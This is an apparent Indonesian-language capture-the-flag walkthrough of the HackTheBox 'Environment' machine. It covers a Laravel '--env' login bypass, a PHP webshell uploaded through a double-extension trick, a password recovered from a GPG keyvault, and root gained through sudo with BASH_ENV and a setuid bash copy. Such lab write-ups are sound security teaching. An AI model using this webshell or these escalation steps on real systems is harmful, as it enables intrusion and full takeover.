
Artikel ini membahas HTB Environment walkthrough, sebuah mesin HackTheBox Environment Linux tingkat menengah. Kami akan menjelaskan langkah eksploitasi HTB Environment dari awal hingga mendapatkan akses root.
HTB Environment adalah salah satu tantangan di platform Hack The Box yang dirancang untuk menguji kemampuan eksploitasi web dan privilege escalation.
π Daftar Isi
- Informasi Umum Machine
- Enumeration
- Eksploitasi
- Privilege Escalation
- Root Flag
- Kesimpulan
- Baca Juga (Internal Link)
π§Ύ Informasi Umum Machine
- Nama Machine: Environment
- Platform: HackTheBox
- IP Target: 10.10.11.67
- Sistem Operasi: Linux
- Tingkat Kesulitan: Medium
π Enumeration
πΉ Nmap
nmap -sC -sV -oN nmap.txt 10.10.11.67
Output:
22/tcp open ssh OpenSSH 9.2p1 Debian 80/tcp open http nginx 1.22.1
πΉ /etc/hosts
10.10.11.67 environment.htb
πΉ Gobuster
gobuster dir -u http://environment.htb -w /usr/share/wordlists/dirb/common.txt
Path penting: /login, /upload, /mailing, /storage, /management/profile
πͺ Eksploitasi
π― Target: Laravel App
Laravel menerima parameter ?--env= yang bisa dimanfaatkan untuk bypass environment.
π§ͺ Bypass Login
Dari kode sumber:
if(App::environment() == "preprod") {
$request->session()->put('user_id', 1);
return redirect('/management/dashboard');
}
Kunjungi: http://environment.htb/login?--env=preprod
β‘οΈ Login otomatis sebagai user Hish.
π€ Upload Webshell
Upload file shell.php. via profile upload (ekstensi .php. lolos validasi).
<?php
if(isset($_GET['cmd']))
system($_GET['cmd']);
?>
Jalankan: http://environment.htb/storage/files/shell.php?cmd=id
π§ Privilege Escalation
π Enumerasi GPG
Di folder /home/hish ditemukan: backup/keyvault.gpg
π Decrypt
cp -r /home/hish/.gnupg /tmp/.gnupg
export GNUPGHOME=/tmp/.gnupg
chmod 700 /tmp/.gnupg
gpg --decrypt /home/hish/backup/keyvault.gpg
Password ditemukan: marineSPm@ster!!
π€ SSH Login
ssh hish@10.10.11.67
βοΈ Sudo Privilege dengan BASH_ENV
sudo -l
Hasil:
(ALL) /usr/bin/systeminfo
Karena BASH_ENV diizinkan:
echo -e '#!/bin/bash\ncp /bin/bash /tmp/bash\nchmod +s /tmp/bash' > /tmp/test.sh
chmod +x /tmp/test.sh
sudo BASH_ENV=/tmp/test.sh /usr/bin/systeminfo
/tmp/bash -p
β‘οΈ Root shell didapatkan.
π Root Flag
find /root -name root.txt 2>/dev/null
cat /root/root.txt
π§ Kesimpulan
Machine Environment dari HackTheBox menunjukkan beberapa teknik penting:
- Bypass Laravel environment parameter
- File upload bypass dengan ekstensi ganda
- PrivEsc melalui
BASH_ENVdan konfigurasi sudo
Sangat cocok untuk belajar keamanan aplikasi web Laravel dan privilege escalation Linux.
